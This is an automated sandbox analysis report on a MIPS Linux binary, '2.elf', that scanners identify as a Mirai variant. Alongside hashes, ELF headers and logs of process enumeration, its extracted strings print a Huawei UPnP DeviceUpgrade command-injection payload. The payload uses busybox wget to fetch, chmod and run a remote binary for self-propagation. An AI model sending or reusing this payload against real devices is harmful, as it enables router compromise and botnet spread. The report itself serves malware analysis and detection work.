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Linux Analysis Report
2.elf

Overview

General Information

Sample name:2.elf
Analysis ID:1585761
MD5:621d717f53b1ac3743e44a6d35d29eb5
SHA1:5968f35b45177af25f40c32d7fc2e2d9ef202b87
SHA256:cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585761
Start date and time:2025-01-08 08:22:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 18s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:2.elf
Detection:MAL
Classification:mal56.linELF@0/0@2/0
Command:/tmp/2.elf
PID:5432
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • 2.elf (PID: 5432, Parent: 5356, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/2.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: 2.elfAvira: detected
Source: 2.elfReversingLabs: Detection: 31%
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: 2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: 2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: 2.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 2.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /12; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sampleString containing 'busybox' found: %s%d%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /12; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/2.elf (PID: 5432)SIGKILL sent: pid: 3104, result: successfulJump to behavior
Source: classification engineClassification label: mal56.linELF@0/0@2/0
Source: /tmp/2.elf (PID: 5432)File opened: /proc/790/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/792/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/793/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1930/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/795/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1411/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2984/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1410/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/797/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/914/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/5432/statusJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/3095/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1745/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1866/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1940/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/884/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1982/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/765/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/800/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/767/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1906/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/802/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/803/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/726/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/727/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1748/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1946/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1944/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/3100/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1482/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/490/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1480/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1755/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1832/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1875/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2964/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1432/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1751/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1872/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2961/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1475/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/778/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/855/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/936/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2926/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/816/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1879/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1891/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1691/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/780/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/660/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1921/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/783/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1765/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2974/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1400/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1444/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1565/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1884/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2972/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1563/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1881/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2970/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/3069/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1609/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1805/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1804/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1925/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1969/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1847/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2936/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1604/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/2935/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)File opened: /proc/1922/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5432)Queries kernel information via 'uname': Jump to behavior
Source: 2.elf, 5432.1.000056415a37c000.000056415a424000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
Source: 2.elf, 5432.1.000056415a37c000.000056415a424000.rw-.sdmpBinary or memory string: 9ZAV!/etc/qemu-binfmt/mipsel
Source: 2.elf, 5432.1.00007ffd4d18a000.00007ffd4d1ab000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/2.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/2.elf
Source: 2.elf, 5432.1.00007ffd4d18a000.00007ffd4d1ab000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: 2.elf, 5432.1.00007ffd4d18a000.00007ffd4d1ab000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
2.elf32%ReversingLabsLinux.Trojan.Mirai
2.elf100%AviraEXP/ELF.Mirai.Hua.c
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http://1/wget.sh2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmpfalse
      high
      http://schemas.xmlsoap.org/soap/encoding/2.elffalse
        high
        http://9/curl.sh2.elf, 5432.1.00007f51c445a000.00007f51c445d000.rw-.sdmpfalse
          high
          http://schemas.xmlsoap.org/soap/envelope/2.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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            • 162.213.35.25
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
            Entropy (8bit):5.530365652935099
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:2.elf
            File size:104'176 bytes
            MD5:621d717f53b1ac3743e44a6d35d29eb5
            SHA1:5968f35b45177af25f40c32d7fc2e2d9ef202b87
            SHA256:cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
            SHA512:94aba9bdddb3c7afe1525009e6c319888e250aeebfe5ef2e0e08db37ba22a19f381fe0821449fccabb6df84ea80e16040c6f83fb43a8a0980d5dbcc3c6b931c8
            SSDEEP:1536:CsKiAkifLt/sGgxKY/a6OzrYcaYGgikBNPYnj06e0Qo8cb:CsKiAkizRsGSKY/WYMy
            TLSH:A1A3E91ABF620FF7D82ECD3B01E8074524DCAB16216577797538D828FA4A64B4BD38B4
            File Content Preview:.ELF....................p.@.4...........4. ...(...............@...@.`...`...............`...`.E.`.E.....83..........Q.td...............................<...'!......'.......................<h..'!.............9'.. ........................<8..'!... ........q9

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:MIPS R3000
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x400270
            Flags:0x1007
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:103576
            Section Header Size:40
            Number of Section Headers:15
            Header String Table Index:14
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x4000940x940x8c0x00x6AX004
            .textPROGBITS0x4001200x1200x170e00x00x6AX0016
            .finiPROGBITS0x4172000x172000x5c0x00x6AX004
            .rodataPROGBITS0x4172600x172600x18000x00x2A0016
            .eh_framePROGBITS0x458a600x18a600x40x00x3WA004
            .ctorsPROGBITS0x458a640x18a640x80x00x3WA004
            .dtorsPROGBITS0x458a6c0x18a6c0x80x00x3WA004
            .data.rel.roPROGBITS0x458a780x18a780xc0x00x3WA004
            .dataPROGBITS0x458a900x18a900x4980x00x3WA0016
            .gotPROGBITS0x458f300x18f300x4f80x40x10000003WAp0016
            .sbssNOBITS0x4594280x194280x180x00x10000003WAp004
            .bssNOBITS0x4594400x194280x29580x00x3WA0016
            .mdebug.abi32PROGBITS0x9360x194280x00x00x0001
            .shstrtabSTRTAB0x00x194280x6e0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x4000000x4000000x18a600x18a605.52020x5R E0x10000.init .text .fini .rodata
            LOAD0x18a600x458a600x458a600x9c80x33385.24010x6RW 0x10000.eh_frame .ctors .dtors .data.rel.ro .data .got .sbss .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            TimestampSource PortDest PortSource IPDest IP
            Jan 8, 2025 08:22:54.325125933 CET4777053192.168.2.138.8.8.8
            Jan 8, 2025 08:22:54.325125933 CET5582253192.168.2.138.8.8.8
            Jan 8, 2025 08:22:54.331479073 CET53477708.8.8.8192.168.2.13
            Jan 8, 2025 08:22:54.331597090 CET53558228.8.8.8192.168.2.13
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 8, 2025 08:22:54.325125933 CET192.168.2.138.8.8.80xae02Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 8, 2025 08:22:54.325125933 CET192.168.2.138.8.8.80x1af9Standard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 8, 2025 08:22:54.331479073 CET8.8.8.8192.168.2.130xae02No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Jan 8, 2025 08:22:54.331479073 CET8.8.8.8192.168.2.130xae02No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):07:22:51
            Start date (UTC):08/01/2025
            Path:/tmp/2.elf
            Arguments:/tmp/2.elf
            File size:5773336 bytes
            MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9